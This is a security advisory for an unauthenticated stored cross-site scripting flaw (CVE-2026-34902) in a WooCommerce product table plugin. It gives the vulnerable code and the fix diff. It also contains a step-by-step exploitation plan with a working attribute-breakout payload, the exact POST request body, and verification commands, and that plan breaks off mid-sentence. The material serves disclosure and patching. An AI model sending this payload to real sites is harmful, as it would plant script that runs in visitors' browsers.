Product Table and List Builder for WooCommerce Lite <= 4.6.3 - Unauthenticated Stored Cross-Site Scripting
Description
The Product Table and List Builder for WooCommerce Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.6.3What Changed in the Fix
Changes introduced in v4.6.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-34902 ## 1. Vulnerability Summary The **Product Table and List Builder for WooCommerce Lite** plugin (up to version 4.6.3) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `wcpt_process_preview_form()` f…
Show full research plan
Exploitation Research Plan: CVE-2026-34902
1. Vulnerability Summary
The Product Table and List Builder for WooCommerce Lite plugin (up to version 4.6.3) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS).
The vulnerability exists in the wcpt_process_preview_form() function within preview-form/preview-form.php. This function is hooked to template_redirect and processes POST requests directed at wc_product_table post types. It fails to perform any authorization checks (e.g., current_user_can()) or CSRF validation (nonces).
An attacker can update the wcpt_preview_template_shortcode post meta for any product table post. While the input is passed through sanitize_text_field(), this function only strips HTML tags and does not prevent attribute breakout via quotes. When the table is rendered, the malicious shortcode attribute is echoed without escaping in templates/container-open.php, leading to XSS.
2. Attack Vector Analysis
- Endpoint: Any public-facing URL of a
wc_product_tablepost. - Hook:
template_redirectcallswcpt_process_preview_form(). - HTTP Method:
POST - Vulnerable Parameters:
wcpt_preview_template_shortcode: Carries the malicious shortcode with attribute-based XSS payload.wcpt_preview_template_submit: Must be set to trigger the processing logic.
- Authentication: Unauthenticated (No capability or nonce checks).
- Preconditions: At least one
wc_product_tablepost must exist and be publicly accessible.
3. Code Flow
- Entry Point: A user sends a
POSTrequest to awc_product_tablepost URL. - Trigger:
preview-form/preview-form.phpregistersadd_action('template_redirect', 'wcpt_process_preview_form');. - Vulnerable Logic (
wcpt_process_preview_form):- Checks if
$_POST['wcpt_preview_template_submit']is set. - Verifies the global
$post->post_typeiswc_product_table. - No Nonce/Capability Check.
- Retrieves
$_POST['wcpt_preview_template_shortcode']. - Applies
sanitize_text_field($shortcode). (Note: This strips tags like<script>but preserves quotes and attribute strings likeonmouseover). - Executes
update_post_meta($post->ID, 'wcpt_preview_template_shortcode', $shortcode);.
- Checks if
- Sink (Rendering):
- The function redirects back to the post URL.
wcpt_display_table_shortcode()(filtered onthe_content) retrieves the malicious meta.- It executes
do_shortcode($shortcode). - The shortcode handler eventually includes
templates/container-open.php. - Final Sink:
templates/container-open.phpechoes the class attribute:
The$html_class = trim(apply_filters('wcpt_container_html_class', ... trim($this->attributes['class']) ...)); ?> <div id="..." class="<?php echo $html_class; ?>" ...>$html_classvariable contains the attacker's injected attribute, which breaks out of theclassattribute and executes JavaScript.
4. Nonce Acquisition Strategy
No nonce is required.
The function wcpt_process_preview_form() in preview-form/preview-form.php lacks any call to check_admin_referer(), check_ajax_referer(), or wp_verify_nonce(). It processes the POST request purely based on the presence of the wcpt_preview_template_submit parameter.
5. Exploitation Strategy
The goal is to inject a shortcode attribute that breaks out of the class="..." container and adds an event handler.
- Identify Target: Find the URL of a
wc_product_tablepost (e.g.,http://localhost:8080/wc_product_table/my-table/). - Craft Payload:
- Shortcode:
[product_table class='x" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;"'] - This payload is safe from
sanitize_text_fieldas it contains no< >tags. - The
styleattribute ensures thedivcovers the viewport, making theonmouseoverevent easy to trigger.
- Shortcode:
- Execute Attack: Send a
POSTrequest to the target URL.- URL:
http://localhost:8080/wc_product_table/[TABLE_SLUG]/ - Body (URL-encoded):
wcpt_preview_template_submit=1&wcpt_preview_template_shortcode=[product_table class='x" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;"']&wcpt_preview_template=product_table_preview - Headers:
Content-Type: application/x-www-form-urlencoded
- URL:
- Trigger: Navigate to the table URL. Moving the mouse anywhere on the page will trigger the
alert(document.domain).
6. Test Data Setup
- Dependencies: Ensure WooCommerce is installed and active.
- Create Product Table: Use WP-CLI to create a target post:
wp post create --post_type=wc_product_table --post_status=publish --post_title="Vulnerable Table" --post_name="vulnerable-table" - Identify URL: The URL will typically be
http://localhost:8080/wc_product_table/vulnerable-table/.
7. Expected Results
- The
POSTrequest should return a302 Redirectback to the table post. - The
wcpt_preview_template_shortcodemeta for that post ID will be updated to the malicious shortcode. - When viewing the post HTML source, the container
divwill look like:<div id="wcpt-..." class="wcpt wcpt-... x" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;" " ...>
8. Verification Steps
- Check Meta Value: Use WP-CLI to verify the meta was stored:
wp post meta get $(wp post list --name="vulnerable-table" --post_type=wc_product_table --format=ids) wcpt_preview_template_shortcode - Check HTML Response: Use
http_requestto fetch the table page and search for the payload:# Search for the onmouseover handler in the response body onmouseover="alert(document.domain)"
9. Alternative Approaches
Vector: Option Injection
The wcpt_process_preview_form() function also updates global options:
wcpt_preview_templatewcpt_preview_template_max_width
An attacker can inject CSS into the `max_
Summary
The Product Table and List Builder for WooCommerce Lite plugin is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to missing authorization and CSRF checks in the wcpt_process_preview_form function. Attackers can submit a malicious shortcode containing attribute-based payloads to any product table post, which is then stored in post meta and rendered without proper attribute escaping in the frontend.
Vulnerable Code
// preview-form/preview-form.php lines 3-25 add_action('template_redirect', 'wcpt_process_preview_form'); function wcpt_process_preview_form() { global $post; if ( !isset($_POST['wcpt_preview_template_submit']) || !$post || $post->post_type !== 'wc_product_table' ) { return; } // Save shortcode if provided, otherwise use default $shortcode = !empty($_POST['wcpt_preview_template_shortcode']) ? sanitize_text_field($_POST['wcpt_preview_template_shortcode']) : '[product_table id="' . $post->ID . '"]'; update_post_meta($post->ID, 'wcpt_preview_template_shortcode', $shortcode); --- // templates/container-open.php lines 7-10 $table_data = wcpt_get_table_data(); $html_class = trim(apply_filters('wcpt_container_html_class', 'wcpt wcpt-' . $table_data['id'] . ' ' . trim($this->attributes['class']) . ' ' . trim($this->attributes['html_class']))); ?> <div id="wcpt-<?php echo $table_data['id']; ?>" class="<?php echo $html_class; ?>" <?php echo wcpt_get_container_attributes(); ?>>
Security Fix
@@ -13,6 +13,17 @@ return; } + if ( + !isset($_POST['wcpt_preview_nonce']) || + !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['wcpt_preview_nonce'])), 'wcpt_preview_form') + ) { + return; + } + + if (!current_user_can('edit_wc_product_table', $post->ID)) { + return; + } + // Save shortcode if provided, otherwise use default $shortcode = !empty($_POST['wcpt_preview_template_shortcode']) ? sanitize_text_field($_POST['wcpt_preview_template_shortcode']) : @@ -151,6 +162,10 @@ } $post_id = get_the_ID(); + if (!current_user_can('edit_wc_product_table', $post_id)) { + return; + } + $saved_shortcode = get_post_meta($post_id, 'wcpt_preview_template_shortcode', true); $template_option = get_option('wcpt_preview_template', 'product_table_preview'); $max_width = get_option('wcpt_preview_template_max_width', '1400px'); @@ -165,7 +180,7 @@ <div class="wcpt-preview-form-row wcpt-preview-form-shortcode-container"> <label>Table Shortcode:</label> <div class="wcpt-preview-form-shortcode-wrapper"> - <input type="text" name="wcpt_preview_template_shortcode" placeholder='<?php echo $default_shortcode; ?>' + <input type="text" name="wcpt_preview_template_shortcode" placeholder="<?php echo esc_attr($default_shortcode); ?>" value="<?php echo $saved_shortcode ? esc_attr($saved_shortcode) : esc_attr($default_shortcode); ?>" data-default="<?php echo esc_attr($default_shortcode); ?>"> <button type="button" class="wcpt-preview-form-reset-icon" title="Reset product table shortcode">↻</button> @@ -199,6 +214,7 @@ </div> <input type="hidden" name="wcpt_preview_template_submit" value="1"> + <?php wp_nonce_field('wcpt_preview_form', 'wcpt_preview_nonce'); ?> <input type="submit" value="Submit"> </div> </fieldset> @@ -7,4 +7,4 @@ $html_class = trim(apply_filters('wcpt_container_html_class', 'wcpt wcpt-' . $table_data['id'] . ' ' . trim($this->attributes['class']) . ' ' . trim($this->attributes['html_class']))); ?> -<div id="wcpt-<?php echo $table_data['id']; ?>" class="<?php echo $html_class; ?>" <?php echo wcpt_get_container_attributes(); ?> \ No newline at end of file +<div id="wcpt-<?php echo esc_attr($table_data['id']); ?>" class="<?php echo esc_attr($html_class); ?>" <?php echo wcpt_get_container_attributes(); ?> \ No newline at end of file
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker identifies the public URL of a product table post (post_type 'wc_product_table'). The attacker then sends a POST request to this URL with 'wcpt_preview_template_submit' set to 1 and 'wcpt_preview_template_shortcode' containing a payload designed to break out of an HTML attribute, such as [product_table class='x" onmouseover="alert(document.domain)"']. Because the plugin lacks authorization and nonce checks in the wcpt_process_preview_form function, it accepts the request and updates the post meta. When the page is subsequently viewed, the plugin executes the shortcode and renders the class attribute without escaping, resulting in the execution of the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.